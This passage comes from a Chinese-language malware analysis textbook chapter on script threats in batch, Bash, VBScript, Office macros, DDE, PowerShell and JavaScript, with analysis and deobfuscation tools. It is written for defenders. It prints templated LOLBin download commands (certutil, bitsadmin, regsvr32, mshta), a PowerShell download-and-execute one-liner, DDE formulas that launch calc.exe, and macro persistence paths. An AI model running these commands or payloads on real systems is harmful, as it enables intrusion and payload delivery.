at:此命令调度程序在某个特定时间执行。*attrib:此命令显示或更改文件系统对象属性;例如,system、read-only或hidden属性。*cacls:此命令显示或更改find:此命令搜索特定的文件系统对象;例如,通过文件名、路径或扩展名。*format:此命令格式化磁盘,可能会覆盖先前的内容。*ipconfig:此命令显示并更新本地计算机的网络配置。*net:这是一个多功能工具,支持各种网络操作,包括用户管理(net user)和远程资源管理(net use/net share)、服务管理(net start/net stop)等。*ping:此工具通过使用 ICMP 数据包检查与远程资源的连接性。它还可以用于建立潜在的网络通道并窃取数据。*reg:此命令执行各种注册表相关操作,如reg query、reg add、reg delete等。*robocopy/xcopy:这些工具将文件系统对象复制到另一个位置。*rundll32:此命令加载 DLL;这里支持按名称和顺序导出的两种方式。*sc:此命令与服务控制管理器通信并管理 Windows 服务,包括创建、停止和更改操作。*schtasks:这是at工具的更强大版本;它通过调度程序在特定时间启动程序。实际上,这是 Windows 任务调度程序的控制台替代工具,支持本地和远程计算机。*shutdown:此命令重启或关闭本地或远程计算机。*taskkill:此命令通过名称或 PID 终止进程;此外,支持本地和远程计算机。*tasklist:此命令显示当前运行的进程列表;同时支持本地和远程计算机。
从历史上看,没有提供标准工具来发送 HTTP 请求(现在 curl 已在现代版本的 Windows 上可用)或压缩文件。从攻击者的角度来看,这意味着为了实现更多或更基本的恶意软件功能,例如下载、解密和执行附加有效载荷,他们必须编写额外的代码。直到后来,像 bitsadmin 和 certutil 这样的系统工具才被攻击者广泛滥用,用于下载和解码有效载荷。以下是它们被使用的一些示例:
-
bitsadmin /transfer <any_name> /download /priority normal <url> <dest> -
certutil -urlcache -split -f <url> <dest> -
certutil -decode <src> <dest>
此外,还有一些较少为人知的方式,Windows 恶意软件可以通过使用标准控制台命令来访问远程有效载荷,具体如下:
-
regsvr32 /s /n /u /i:<url_to_sct> scrobj.dll -
mshta <url_to_hta> -
wmic os get /FORMAT:<url_to_xsl>
最后,一些标准工具如 wmic 原生支持远程机器,因此如果有可用的凭证,就可以在另一台受害者的机器上执行某些命令,而无需额外的工具。
更多与标准工具相关的非标准安全应用可以在 LOLBAS 项目页面找到:lolbas-project.github.io/。
批处理文件中最常见的混淆模式如下:
-
通过从长块中提取子字符串来构建命令。
-
使用过多的变量替换;这里,许多变量要么未定义,要么在使用的地方远离定义的位置。
-
使用随机大小写字母的长变量名。
-
添加多个无意义的符号,如成对的双引号或插入符号转义字符 (
^)。以下截图展示了一个示例:
图 10.1 – 使用转义符号进行批处理脚本混淆的示例
- 通常情况下,大小写字母混合使用(Windows 控制台不区分大小写,除非大小写有区别;例如在 base64 编码中)。以下是一个示例:
图 10.2 – 使用不存在的变量进行批处理脚本混淆的示例
第一和第二种情况可以通过仅使用 echo 命令打印这些操作的结果来处理。第三和第四种情况可以通过基本的替换操作轻松处理,而第五种情况则只需将所有内容转换为小写,除了像 base64 编码的文本等内容。
Bash
Bash 是一个命令行界面,源于 Unix 世界。它遵循一项任务一工具的范式,在这个范式下,多个简单的程序可以连接在一起使用。Shell 脚本支持基本的编程构件,如循环、条件构造和函数。除此之外,它还通过多个外部工具提供支持——大多数可以在任何支持的系统上找到。然而,不同于 Windows 的 Shell(它有多个内建命令),即使是最基本的功能,如打印字符串,也由一个独立的程序完成(在这种情况下是 echo)。Shell 脚本的常见文件扩展名是 .sh。然而,即使是没有扩展名的文件,只要在头部提供了相应的解释器,也能正确执行;例如,#!/bin/bash。与 Windows 不同,在这里所有命令都是区分大小写的。
在 Linux 世界中还有许多其他的 Shell,如 sh 或 zsh,但它们的语法大体相同。
由于大多数 Linux 工具只提供一小部分功能,因此完整的攻击通常涉及许多工具。然而,其中一些工具被攻击者更频繁地使用,以实现他们的目标,尤其是在大规模感染的恶意软件中,如Mirai:
-
chmod:更改文件权限;例如,使文件可读、可写或可执行。 -
cd:更改当前目录。 -
cp:将文件系统中的对象复制到另一个位置。 -
curl:这是一个网络工具,用于通过多种支持的协议从远程服务器传输数据。 -
find:根据名称和某些属性搜索特定的文件系统对象。 -
grep:在文件或包含特定字符串的文件中搜索特定字符串。 -
ls:列出文件系统中的对象。 -
mv:移动文件系统中的对象。 -
nc:这是一个 netcat 工具,允许攻击者使用 TCP 或 UDP 从网络连接中读取和写入数据。默认情况下,在某些发行版上不可用。 -
ping:通过发送 ICMP 数据包检查对远程系统的访问。 -
ps:列出进程。 -
rm:删除文件系统中的对象。 -
tar:使用多种支持的协议压缩和解压文件。 -
tftp:这是 简易文件传输协议(TFTP)的客户端;它是 FTP 的简化版本。 -
wget:通过 HTTP、HTTPS 和 FTP 协议下载文件:
图 10.3 – Mirai Shell 脚本示例
就像任何其他编程语言编写的恶意软件一样,这里也可以加入混淆技术来延缓逆向工程过程,并绕过基本的签名检测。理论上,有多种方法可以实现,如动态解码和执行命令、使用奇怪的变量名,或者应用 sed/awk 字符串替换。然而,值得一提的是,现代物联网恶意软件仍然没有采用任何复杂的技术手段。这主要是因为所使用的脚本非常通用,通常只有在知道相应的网络 IOC 或检测到最终有效载荷时,才能可靠地检测到它们。
这就是我们需要了解的关于 shell 脚本的全部内容。现在,是时候讨论完整的编程语言了。特别地,让我们从微软的 Visual Basic 脚本版(VBScript)威胁开始。
VBScript 解释
VBScript 是第一个嵌入 Windows 操作系统的主流编程语言。系统管理员长期以来一直积极使用它来自动化某些类型的任务,而无需安装任何第三方软件。它适用于所有现代微软系统,逐渐成为恶意软件编写者的流行选择,因为它提供了一种无需重新编译关联代码就能执行特定操作的可靠方法。
在撰写本文时,微软已决定转向 PowerShell 来处理管理任务,并将未来所有的 VBScript 支持交给 ASP.NET 框架。目前,尚无计划在未来的 Windows 版本中停止支持它。
VBScript 文件的本地文件扩展名为 .vbs,但也可以将其编码为使用 .vbe 扩展名的文件。此外,它们还可以嵌入到 Windows 脚本文件(.wsf)或 HTML 应用程序(.hta)文件中。.vbs、.vbe 和 .wsf 文件可以通过 wscript.exe 执行,该程序提供了适当的 GUI,或者通过 cscript.exe 执行,该程序是控制台替代品。.hta 文件可以通过 mshta.exe 工具执行。VBScript 代码还可以通过命令行直接执行,使用 mshta vbscript:<script_body> 语法。
基本语法
最初,这项技术是为了供 Web 开发人员使用的,这一事实极大地影响了其语法。VBScript 模仿了 Visual Basic,并具有类似的编程元素,例如条件结构、循环结构、对象和嵌入函数。数据类型略有不同,例如,VBScript 中所有变量默认都是 Variant 类型。
大多数这些高级功能可以通过相应的 微软组件对象模型(COM)对象访问。COM 是一个分布式系统,用于创建和交互软件组件。
以下是一些常被攻击者误用的 COM 对象及其相应的方法和属性:
-
WScript.Shell:这提供了对多个系统范围操作的访问,如下所示:-
RegRead/RegDelete/RegWrite:这些操作与 Windows 注册表交互,用于检查特定软件的存在(如防病毒程序),篡改其功能,删除活动痕迹,或添加模块以启动自动运行。 -
Run:此功能用于运行应用程序。
-
-
Shell.Application:此功能提供更多与系统相关的功能,具体如下:-
GetSystemInformation:此功能获取各种系统信息,例如可用内存的大小,以识别沙箱环境。 -
ServiceStart:此功能用于启动服务,例如与持久性模块相关联的服务。 -
ServiceStop:此功能用于停止服务,例如属于防病毒软件的服务。 -
ShellExecute:此功能用于运行脚本或应用程序。
-
-
Scripting.FileSystemObject:此功能提供对文件系统操作的访问,具体如下:-
CreateTextFile/OpenTextFile:此功能用于创建或打开文件。 -
ReadLine/ReadAll:此功能用于读取文件内容,例如包含某些重要信息或其他加密模块的文件。 -
Write/WriteLine:此功能用于向已打开的文件写入内容,例如覆盖重要文件或配置文件的内容,或传递下一阶段的攻击或混淆的有效载荷。 -
GetFile:此功能返回一个File对象,提供对多个文件属性和一些有用方法的访问。-
Copy/Move:此功能用于将文件复制或移动到指定位置。 -
Delete:此功能用于删除相应的文件。 -
Attributes:此属性可修改以更改文件的属性。
-
-
CopyFile/Move/MoveFile:此功能用于将文件复制或移动到另一个位置。 -
DeleteFile:此功能用于删除指定的文件。
-
-
Outlook.Application:此功能允许攻击者访问 Outlook 应用程序,以传播恶意软件或垃圾邮件。-
GetNameSpace:某些命名空间,如 MAPI,允许攻击者访问受害者的联系人。 -
CreateItem:此功能允许创建新邮件。
-
-
Microsoft.XMLHTTP/MSXML2.XMLHTTP:此功能允许攻击者发送 HTTP 请求,与 Web 应用程序交互。-
Open:此功能用于创建请求,例如GET或POST请求。 -
SetRequestHeader:此功能用于设置自定义头部,例如用于受害者统计信息、额外的基本身份验证层,或甚至数据外泄。 -
Send:此功能用于发送请求。 -
GetResponseHeader/GetAllResponseHeaders:这些属性用于检查响应中的额外信息或基本服务器验证。 -
ResponseText/ResponseBody:这些属性提供对实际响应的访问,例如命令或其他恶意模块。
-
-
MSXML2.ServerXMLHTTP:此功能提供与前述 XMLHTTP 相同的功能,但主要用于服务器端。通常推荐使用此功能,因为它处理重定向更好。 -
WinHttp.WinHttpRequest:此功能提供类似的功能,但它是通过不同的库实现的。 -
ADODB.Stream:此功能允许攻击者处理各种类型的流,具体如下:-
Write:此方法用于向流对象写入数据,例如从 C&C 响应中写入数据。 -
SaveToFile:此方法将流数据写入文件。 -
Read/ReadText:这些方法可用于访问 base64 编码的值。
-
-
Microsoft.XMLDOM/MSXML.DOMDocument:这些最初是为处理 XML 设计的,createElement:可以与ADODB.Stream一起使用,在与bin.base64DataType值以及NodeTypedValue属性一起使用时,用于处理 base64 编码。
那么,如何在执行分析时利用这些信息呢?这里是一个简单的代码示例,执行另一个有效负载:
Dim Val
Set Val= Wscript.CreateObject(“WScript.Shell")
Val.Run “""C:\Temp\evil.vbe"""
如你所见,一旦对象被创建,它的方法可以立即执行。在本地方法中,以下方法可用于执行表达式和语句:
-
Eval:此函数用于计算一个表达式并返回结果值。它将=运算符解释为比较操作符,而非赋值操作符。 -
Execute:此方法用于在本地作用域内执行一组由冒号或换行符分隔的语句。 -
ExecuteGlobal:此方法与Execute相同,但适用于全局作用域。攻击者常常用它来执行解码后的代码块。
此外,使用 VBScript 操作 Windows 管理工具 (WMI) 相对简单。WMI 是用于管理 Windows 系统中数据的基础设施,可以访问各种信息,例如许多系统属性或已安装的防病毒产品列表。这些对攻击者来说都是潜在的兴趣点。
这里有两种方法可以访问:
-
借助
WbemScripting.SWbemLocator对象及其ConnectServer方法来访问root\cimv2:Set objLocator = CreateObject("WbemScripting.SWbemLocator") Set objService = objLocator.ConnectServer(".", "root\cimv2") objService.Security_.ImpersonationLevel = 3 Set Jobs = objService.ExecQuery("SELECT * FROM AntiVirusProduct") -
通过
winmgmts:标识符:strComputer = "." Set oWMI = GetObject("winmgmts:\\" & "." & "\root\SecurityCenter2") Set colItems = oWMI.ExecQuery("SELECT * from AntiVirusProduct")
现在,让我们来讨论可以用来促进分析的工具。
静态与动态分析
曾经支持的 Microsoft 脚本调试器 已被 Microsoft 脚本编辑器 取代,并且作为 MS Office 的一部分一直发布到 2007 版本;后来该工具被停用:
图 10.4 – Microsoft 脚本编辑器界面
对于基本的静态分析,一个支持语法高亮的通用文本编辑器可能就足够了。对于动态分析,强烈建议使用 Visual Studio。即使是免费的社区版也提供了进行高效分析所需的所有功能。要开始调试过程,你可能首先希望以以下方式执行脚本:
cscript.exe /x evilscript.vbs
然而,对于大多数人来说,这不会立即生效。在此之前,你需要确保你的 IDE 已注册为 JIT 调试器。要为 Visual Studio 注册,进入其 工具 | 选项... | 调试 | 即时调试 设置,确保 脚本 选项被勾选:
图 10.5 – 将 Visual Studio 注册为 VBScript 的 JIT 调试器
之后,执行上述 cscript 命令将自动开始建议使用 Visual Studio 进行调试:
图 10.6 – cscript 提示使用 Visual Studio 进行 VBScript 调试
一旦确认,所有准备工作就绪,你可以开始动态分析了:
图 10.7 – 在 Visual Studio 中调试 VBScript 文件
尽管使用 Scripting.Encoder 对象提供的 EncodeScriptFile 方法将 .vbs 文件编码为 .vbe 相对简单,但并没有原生工具可以将 .vbe 脚本解码回 .vbs;否则,这将削弱其目的:
图 10.8 – 原始和编码后的 VBScript 文件
然而,确实有一些开源项目旨在解决这个问题;例如,Didier Stevens 的 decode-vbe.py 工具。
在分析代码时,特别需要关注以下操作:
-
文件系统和注册表访问
-
与远程服务器的交互
-
应用程序与脚本执行
最后,让我们谈谈混淆以及如何处理它。
解除混淆
很常见,VBS 混淆使用相当基础的技巧,如添加垃圾注释或使用需要字符替换后才能使用的字符串。语法高亮在分析此类文件时非常有用。
另一个常见的示例是从嵌入的数据构建第二阶段有效载荷,例如从一个整数数组,然后动态执行它,如下图所示:
图 10.9 – VBScript 恶意软件动态构建第二阶段有效载荷
将其转换为实际代码的最简单方法之一是使用一个名为 CyberChef 的绝佳在线工具:
图 10.10 – VBScript 恶意软件解码后的第二阶段
一旦你获得了实际的功能代码,处理它的最简单方法是搜索你最感兴趣的函数(我们之前列出的那些),并检查它们的参数,以获取有关丢弃或外泄文件、执行的命令、访问的注册表项以及需要连接的 C&C(命令与控制)信息。如果混淆层使得功能完全不清晰,那么需要追踪在下一个阶段脚本中累积的变量。你可以逐层迭代,逐一打印或观察它们,直到主代码块变得可读。
现在我们了解了 VBScript,让我们谈谈一个稍微不同的话题——宏以及依赖它们的威胁。
VBA 和 Excel 4.0(XLM)宏及其他
虽然许多高调的恶意软件攻击与利用的漏洞相关,但人类依然是防御链中最弱的环节。社会工程学技巧使恶意行为者能够在不创建或购买复杂漏洞的情况下成功执行其代码。
由于许多组织现在为所有新员工提供网络安全培训,许多人已经了解了一些基本常识,例如,通过各种方式从组织外部或你认识的人群中接收到的链接或可执行文件是非常不安全的。因此,攻击者必须发明新的方法来欺骗用户,包含恶意宏的文档就是这些持续努力的一个典型例子。
VBA 宏
MS Office 宏包含了Visual Basic for Applications(VBA)编程语言。它源自已经停用很久的 Visual Basic 6。VBA 幸存下来,并在后来升级到了 7 版本。通常,代码只能在宿主应用程序中运行,并且它被集成在大多数 Microsoft Office 应用程序中(即使是 macOS 版)。
基本语法
VBA 是 Visual Basic 的一种方言,继承了其语法。VBScript 可以看作是 VBA 的一个子集,简化了一些功能,主要是由于不同的应用程序模型。在分析 VBA 对象时,仍需要注意相同的元素:
-
文件和注册表操作
-
网络活动
-
执行的命令
攻击者关注的 COM 对象列表与 VBScript 的相同。唯一的区别是,某些功能可以在不创建对象的情况下访问;例如,Shell方法。
为确保恶意软件能够自动执行,它必须使用某些标准函数名来定义何时执行。这些函数名在不同的 MS Office 产品中略有不同。以下是最常被滥用的几个:
-
AutoOpen/Auto_Open -
AutoExit/Auto_Close -
AutoExec -
Document_Open/Workbook_Open
这是一个使用Document_Open实现这一目的的示例:
图 10.11 – 一个恶意的 VBA 宏注册Document_Open例程以实现执行
恶意软件还可以安装专用的处理程序,以便在某些条件下稍后执行,例如,使用Application.OnSheetActivate函数。
MS Office 有自己的自动启动目录,恶意软件常通过滥用这些目录来实现持久性。它们通过将代码放置在这些目录中来实现。以下是不同产品和版本的标准目录:
-
%APPDATA%\Microsoft\Word\STARTUP -
C:\Program Files\Microsoft Office\[root\]<Office1x>\STARTUP -
%APPDATA%\Microsoft\Excel\XLSTART -
C:\Program Files\Microsoft Office\[root\]<Office1x>\XLSTART
除此之外,通过操控全局宏文件也可以实现持久性:
-
Normal.dot/.dotm:Word 的全局宏模板(在%APPDATA%\Microsoft\Templates中) -
Personal.xls/.xlsb:Excel 的全局宏工作簿(在XLSTART中)
现在,让我们来谈谈哪些工具可以帮助我们分析恶意宏。
静态和动态分析
与 VBScript 不同,VBA 在 MS Office 中有一个原生编辑器,可以通过开发工具选项卡访问,该选项卡默认情况下是隐藏的。可以在Word 选项的自定义功能区菜单中启用它:
图 10.12 – 在 MS Office 选项中启用 VBA 宏编辑器
它支持以这种方式调试代码,使得静态和动态分析相对直接。
另一个可以从文档中提取宏的工具是info命令行参数。除此之外,之前提到的来自oletools项目的工具(尤其是olevba)和oledump也可以用来提取和分析 VBA 宏。如果工程师因为某些原因想处理 p-code 而不是源代码,pcodedmp项目旨在提供所需的功能。
最后,ViperMonkey可以用来模拟一些 VBA 宏,从而帮助处理混淆。
Excel 4.0 (XLM) 宏
XLM 宏,也称为公式,是 Microsoft Excel 中存在了 30 年的功能,最近突然在攻击者中获得了流行。一个例子是SUM函数,通常用于自动计算分布在多个单元格中的数字总和。虽然其中一些本身可能是危险的,例如EXEC,它允许任意命令执行,但在大多数情况下,攻击者会将许多无害的宏链在一起,以实现恶意功能。
基本语法
以下是一些常见的在最终去混淆有效载荷中被误用的公式示例:
-
IF(logical_test, value_if_true, value_if_false) -
SEARCH(find_text, within_text, start_num) -
CALL(dll_name, api_name, format, arg0, …)
另一个类似于CALL选项的选项是REGISTER。
一个明显的简单恶意有效载荷示例就是调用URLDownloadToFile和ShellExecuteA等 API 来传送并执行下一个阶段的有效载荷。
但实际上,几乎所有现代恶意宏都会被混淆,并且会使用一套不同的宏来构建实际的恶意功能。我们将在这里介绍这些宏。对于.xls文档,在.xlsb和.xlsm基于 OOXML 的 Excel 文档之后,相应的数据通常可以在 BIFF12 和 XML 格式的\xl\macrosheets\目录中找到。
最后,与 VBA 宏一样,公式可以使用一些特定的标准单元格名称来实现自动运行功能。一个例子是以Auto_Open前缀开头的单元格:
图 10.13 – 将自动执行的 XLM 宏所在的单元格
现在,让我们讨论基于 XLM 的有效载荷是如何被混淆的。
混淆
攻击者可能尝试通过多种方式使逆向工程师在试图理解恶意软件的目的时遇到困难。让我们探讨其中最常见的几种方式:
-
使用白色字体和白色背景以及分散的公式,使文档打开时不可见。
-
使用
RUN和GOTO公式通过从一个单元格跳到另一个单元格来使控制流复杂化。 -
使用
CHAR命令动态解析字符串字符,使用MID获取子字符串。 -
使用
FORMULA命令移动或累积工作表中的内容,或者使用GET.CELL和SET.VALUE命令的组合来修改内容。 -
将恶意公式存储在隐藏的工作表中。分为两种类型,每种类型应采用不同的处理方式:
hidden:右键点击任何可见工作表并选择 取消隐藏…,然后启用所有隐藏的工作表:
图 10.14 – 在 Excel 中取消隐藏隐藏的工作表
veryhidden:将对应的BoundSheet记录中的hsState字段从2更改为0,该记录是 BIFF8 格式(这需要使用专用工具,如 OffVis):
图 10.15 – 更改与非常隐藏工作表关联的 hsState 字段
- 使用隐藏的名称。要显示它们,请清除相应
LBL记录中的fHidden位:
图 10.16 – 更改 fHidden 字段以取消隐藏关联的名称
-
使用
GET.WORKSPACE和不同的参数来检测沙箱,例如以下内容:-
13/14:工作区宽度/高度 -
19:鼠标可用性 -
31:如果当前正在使用单步执行模式 -
42:音频可用性
-
-
仅在特定日期执行有效载荷以干扰行为分析
-
检查字体大小和行高,或者检查窗口是否已最大化,以检测篡改行为
这些是最常见的混淆技术。最后,让我们看看哪些工具能帮助我们进行分析。
静态与动态分析
首先,前面提到的 olevba 工具也可以用来自动提取 XLM 宏。如果系统中还安装了另一个名为 XLMMacroDeobfuscator 的工具,那么 olevba 的输出也会被很好地去混淆:
图 10.17 – 提取并去混淆的 XLM 宏链
除此之外,Microsoft Excel 提供了很好的内嵌调试公式的功能。主要是其名称管理器和宏调试器部分将特别有用:
图 10.18 – 使用 Excel 调试器动态分析 XLM 宏链
最后,BiffView 和 OffVis 工具可以提供 BIFF8 内部结构的详细视图。OffVis 还可以帮助绕过一些之前提到的混淆技术,这些技术涉及隐藏工作表和名称。
关于 XLM 宏的内容到此为止。我们已经学习了很多关于基于宏的威胁,因此现在是时候讨论其他恶意软件通过滥用 MS Office 文档来实现其目标的方法了。
除了宏之外
攻击者可能使用其他方法来在文档打开后执行代码。另一种方法是使用 鼠标点击/鼠标悬停 技术,该技术通过在用户将鼠标移到 PowerPoint 中的精心设计对象上时执行命令。
这可以通过将相应的操作分配给它来完成,如下所示:
图 10.19 – 在 PowerPoint 中为对象添加操作
好消息是,更新版本的 Microsoft Office 应该已经启用了受保护视图(只读访问)安全功能,如果文档来自不安全位置,它将警告用户可能的外部程序执行。在这种情况下,一切都依赖于社交工程——攻击者是否成功说服受害者忽视或禁用所有警告。
恶意软件可能实现执行的另一种不太常见的方法是使用 .SettingContent-ms 文件扩展名,或嵌入到其他文档中。在那里可以使用 DeepLink 标签指定要执行的命令。在几次尝试滥用此功能后,微软迅速增强了该功能的安全性。现在,我们很少看到恶意软件再针对它进行攻击。
最后,DDEAUTO 字段与执行命令的参数。这种功能的另一种滥用方式是使用 Microsoft Excel 中的特定语法。在这种情况下,恶意文件将以以下方式构造命令:
(+|-|=)<command_to_execute>|'<optional_arguments_prepended_by_space>'!<row_or_c olumn_or_cell_number>
或者,可以将命令作为参数传递给内置的良性函数,如 SUM。以下是一些执行 calc.exe 的示例有效载荷,前提是用户确认:
=calc|' '!A
+cmd|' /c calc.exe'!7
@SUM(calc|' '!Z99)
这是 Microsoft Excel 在使用此技术时显示的警告信息示例:
图 10.20 – 与潜在代码执行相关的 Microsoft Excel 警告框示例
msodde 工具(oletools 的一部分)可能有助于在样本中检测此类技术。
虽然此处的任何代码执行都需要用户确认后才能启用,但借助社交工程,这依然是一个可能的攻击途径。
现在我们已经掌握了基于宏的威胁,接下来是时候讨论攻击者如今常常滥用的另一种脚本语言——PowerShell!
PowerShell 的强大功能
PowerShell 代表了 Windows Shell 和脚本语言的持续演变。其强大的功能、对.NET 方法的访问以及与最近版本 Windows 的深度集成,极大促进了它在普通用户和恶意攻击者中的流行。从攻击者的角度来看,它有许多其他优势,特别是在混淆方面,我们将详细讲解。此外,由于整个脚本可以被编码并作为单个命令执行,它不需要脚本文件写入硬盘,因此对法医专家留下的痕迹最少。
让我们从其语法的特点开始。
基本语法
PowerShell 命令行参数因其实现的某些特性而为攻击者提供了独特的机会。例如,PowerShell 能够理解即使是截断的参数和相关参数,只要它们不含歧义。让我们回顾一些在执行恶意代码时常用的值:
-
-NoProfile(通常简称为-NoP):跳过加载 PowerShell 配置文件的过程;它很有用,因为它不受本地设置的影响。 -
-NonInteractive(通常简称为-NonI):不会显示交互式提示;当目的是仅执行指定命令时非常有用。 -
-ExecutionPolicy(通常简称为-Exec或-EP):通常与Bypass参数一起使用,用于忽略限制某些 PowerShell 功能的设置。也可以通过其他方法实现;例如,通过修改 PowerShell 的执行策略注册表值。 -
-WindowStyle(通常简称为-Win或-W):通常攻击者会使用Hidden(或1)参数来隐藏对应的窗口,以达到隐蔽目的。 -
-Command(通常简称为-C):执行在命令行中提供的命令。 -
-EncodedCommand(通常简称为-Enc、-EC或-E):用于执行在命令行中提供的编码(base64)命令。
在前面的例子中,命令行参数可以被截断成任意数量的字母,仍然对 PowerShell 有效。例如,-NoProfile和-NoProf,或者Hidden和Hidde,都会被按相同方式处理。
关于语法,让我们看看一些攻击者常常滥用的命令。
本地 cmdlet:
-
Invoke-Expression(iex):执行作为参数提供的语句;它与 JavaScript 中的eval函数非常相似。 -
Invoke-Command(icm):通常与-ScriptBlock参数一起使用,实现与Invoke-Expression几乎相同的功能。 -
Invoke-WebRequest(iwr):发送一个 Web 请求;例如,它可以发送请求与 C&C 进行交互。 -
ConvertTo-SecureString:通常用于解密嵌入的脚本。
基于.NET 的方法:
-
来自
[System.Net.WebClient]类,我们有以下内容:-
DownloadString:下载一个字符串并将其存储在内存中,例如一个新命令或要执行的脚本。 -
DownloadData:攻击者较少使用此方法;它将有效负载作为字节数组下载。 -
DownloadFile:将文件下载到磁盘,例如一个新的恶意模块。
-
这些方法每个都有一个异步版本,带有相应的名称后缀(如DownloadStringAsync)。
-
从
[System.Net.WebRequest]、[System.Net.HttpWebRequest]、[System.Net.FileWebRequest]和[System.Net.FtpWebRequest]类,我们有以下方法:-
Create(也包括CreateDefault和CreateHttp):用于创建一个向服务器发送的网络请求。 -
GetResponse:发送请求并获取响应,例如与一个新的恶意模块。带有Async后缀和Begin、End前缀的版本也可用于异步操作(如BeginGetResponse或GetResponseAsync),但攻击者很少使用这些异步版本。 -
GetRequestStream:返回一个用于向互联网资源写入数据的流——例如,窃取一些有价值的信息或发送感染统计数据。带有Async后缀和Begin、End前缀的版本也可以使用。
-
-
从
[System.Net.Http.HttpClient]类,我们有以下方法:GetAsync、GetStringAsync、GetStreamAsync、GetByteArrayAsync、PostAsync和PutAsync:这些是发送任何类型 HTTP 请求并接收响应的多种选择。
-
[System.IO.Compression.DeflateStream]和[System.IO.Compression.GZipStream]类通常用于解压经过 Base64 解码后的嵌入式 Shellcode。它们通常与[System.IO.Compression.CompressionMode]::Decompress参数一起用作[System.IO.StreamReader]对象的参数(以下截图提供了示例)。 -
从
[System.Convert]类,我们有以下方法:FromBase64String:用于解密 Base64 编码的字符串,例如下一个阶段的有效负载。
对于.NET 命名空间,System.前缀可以安全省略,如下所示:
图 10.21 – 一个 Veil 有效负载的示例
如我们所见,结合压缩和 Base64 编码是攻击者常用的技术,用于存储下一个阶段的有效负载,从而使分析和检测更加复杂。我们将在下一节中详细讨论其他混淆技术。以下是下载并执行有效负载的代码示例:
iex(new-object net.webclient).downloadstring('http://<url>/payload.bin')
与命令行参数一样,方法名可以被截断而不会产生歧义。分析师可以使用带有通配符的Get-Command/gcm命令来识别完整的名称,攻击者也可以使用它们来动态解析方法名。
PowerShell 还可以用于执行自定义的 .NET 代码。特别是,Add-Type -TypeDefinition <variable_storing_source_code> 语法可以用来动态编译 .NET 源代码直接在 PowerShell 脚本中,这样它就可以立即使用。为了这个目的,csc.exe 工具将在后台被使用。
臭名昭著的基于 PowerShell 的 Bluwimps 将信息存储在 WMI 管理类中。这使得它难以通过传统的防病毒解决方案进行检测,并且可以通过 Windows 管理工具命令 (WMIC) 远程执行代码,而不是使用更广泛使用的 psexec 工具。
混淆
网上有多个开源工具可以生成和/或混淆基于 PowerShell 的有效载荷用于渗透测试。此列表包括但不限于以下内容:
-
PowerSploit
-
PowerShell Empire
-
Nishang
-
MSFvenom(Metasploit 的一部分)
-
Veil
-
Invoke-Obfuscation
如我们所知,PowerShell 命令是通过 Windows 控制台执行的,因此我们之前描述的几乎所有混淆技术都可以在这里应用。此外,几种其他简单的混淆技巧也证明非常流行:
-
使用基本的
+语法进行多重字符串连接,可以是实际值或存储它们的变量,或者使用Join或Concat函数。 -
多个过多的单引号、双引号和反引号。
-
split和join的使用,如下所示:iex (<value_with_separators>.split("<separator>") -join "") | iex) -
字符串反转(通常是通过从末尾读取反转的字符串,或将其强制转换为数组并使用
[Array]::Reverse;很少使用带有RightToLeft遍历类型的正则表达式)。使用[Char]<numeric_value>或ToInt<int_size>语法而不是符号本身。 -
使用上述方法(参见 图 10.21 了解示例)结合压缩和 Base64 编码。
在加密方面,以下方法已被证明非常流行:
-
-bxor算术运算符用于简单加密。 -
ConvertTo-SecureStringcmdlet 用于将加密块转换为安全字符串,它将信息以加密形式存储在内存中。通常与以下代码块一起使用,以访问安全字符串内部的实际值:[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR(<secure_string>))
对于此 cmdlet,可以通过 -key 或 -securekey 参数(或类似 -kE 的参数)提供解密密钥。
为了处理它们,你必须成功识别正在使用的算法,然后使用可用信息反转逻辑。使用你喜欢的编程语言编写简单脚本是一种选择,但在许多情况下,只能通过在线 CyberChef 工具来处理。
让我们讨论一下我们可以使用哪些其他工具来促进分析。
静态分析和动态分析
PowerShell 有一个强大的内嵌帮助工具,可以用来获取任何命令的描述。通过执行 Get-Help <command_name> 语句可以获取:
图 10.22 – 获取 PowerShell 命令的描述
总的来说,去混淆和解码操作主要只需要一套基本技能,例如如何解码 base64,如何解压 deflate 和 gzip,如何去除无意义的字符,如何替换变量,以及如何读取部分完成的命令。在这种情况下,任何带有相应语法高亮的文本编辑器都可以用于静态分析。
虽然xor可以通过多种方式解密,但处理嵌入式 PowerShell 加密的最简单方法是通过 PowerShell 的动态分析,Set-Content、Add-Content和Out-File cmdlet,并且可以使用管道符号(|)或经典的>和>>输入重定向:
powershell -c "$a='secret'; $a | set-content 'output.txt'"
或者,可以使用Write-Host cmdlet 将解密后的输出写入控制台,然后重定向到文件。最后,一个名为PSDecode的强大工具可以用来快速处理混淆,自动化完成(这可能涉及代码执行,所以请谨慎使用)。
现在,到了讨论基于 JavaScript 的威胁的时刻。
处理 JavaScript
JavaScript 是一种网页语言,驱动着互联网数十亿的页面,因此它被广泛用于创建针对网络用户的漏洞利用也不足为奇。然而,在 Windows 上,也可以通过 Windows 脚本宿主执行 JScript(一个与 ECMAScript 非常相似的方言)文件,这也使其成为恶意附件和后渗透脚本的一个不错的候选项。例如,一种名为Poweliks的无文件威胁通过存储在注册表中的 JScript 代码实现系统持久化,而无需在磁盘上留下独立的文件。
由于 JavaScript 和 JScript 之间存在一些微小差异,这里我们将介绍它们共同的语法。此外,从现在开始,我们将使用 JavaScript 符号表示法。
JavaScript 文件的通用扩展名是.js;编码过的 JScript 文件则有.jse扩展名。此外,它们也可以像 VBScript 一样嵌入到.wsf和.hta文件中。在相似性方面,在 Windows 上,.js/.jse和.wsf文件可以通过wscript.exe和cscript.exe本地执行。另一方面,.hta文件则由mshta.exe执行。执行内联 JavaScript 脚本有几种方式:
mshta javascript:<script_body>
rundll32.exe javascript:"..\mshtml,RunHTMLApplication";<script_body>
除此之外,在 Windows 上,可以使用regsvr32.exe作为 COM 脚本组件(.sct文件)执行 JavaScript 代码。在 Linux 上,有多种方法可以从控制台执行 JavaScript 文件,例如phantomjs,当然,也可以在完整的浏览器中执行 JavaScript 代码。我们将在静态与动态分析部分详细讨论这一点。
基本语法
如果脚本将要在本地执行,则应特别注意某些类型的操作,它们可以回答关于脚本目的、持久性机制和通信协议的问题。与 VBScript 的相似性方面,在 Windows 上,可以使用相同的 COM 对象,如前所述:
图 10.23 – 一个 JavaScript 代码示例,写入数据到 Windows 上的文件
在 Linux 上,JavaScript 不用于本地执行命令,因为它需要一些自定义模块,如 node.js,而这些模块可能在目标系统上不可用。
在 Web 应用程序中,以下函数需要注意:
代码执行:
eval: 执行作为参数提供的脚本块
页面重定向:
这里有多种选项,如下方代码块所示:
-
